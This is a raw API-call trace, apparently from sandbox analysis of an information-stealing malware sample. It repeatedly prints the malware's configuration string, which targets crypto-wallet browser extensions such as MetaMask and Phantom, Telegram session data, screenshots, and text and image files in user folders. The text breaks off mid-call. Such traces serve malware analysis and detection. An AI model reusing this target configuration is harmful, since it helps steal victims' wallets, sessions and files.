Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.601] lstrlenW (lpString="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1652 [0260.601] lstrlenW (lpString="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1652 [0260.601] LocalAlloc (uFlags=0x40, uBytes=0xce8) returned 0x6b9720 [0260.601] lstrlenW (lpString="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1652 [0260.601] LocalAlloc (uFlags=0x40, uBytes=0xce8) returned 0x6ba410 [0260.601] lstrlenW (lpString="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1652 [0260.601] LocalAlloc (uFlags=0x40, uBytes=0xce8) returned 0x6bb100 [0260.602] StrStrW (lpFirst="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.602] lstrlenW (lpString="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1652 [0260.602] LocalAlloc (uFlags=0x40, uBytes=0xd68) returned 0x6bbdf0 [0260.602] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.602] LocalFree (hMem=0x6bbdf0) returned 0x0 [0260.602] StrStrW (lpFirst="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.602] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.603] LocalFree (hMem=0x6b9720) returned 0x0 [0260.603] LocalFree (hMem=0x6ba410) returned 0x0 [0260.603] LocalFree (hMem=0x6bb100) returned 0x0 [0260.603] StrStrW (lpFirst="ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.603] lstrlenW (lpString="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1572 [0260.603] lstrlenW (lpString="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1572 [0260.603] LocalAlloc (uFlags=0x40, uBytes=0xc48) returned 0x6b9720 [0260.604] lstrlenW (lpString="ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension 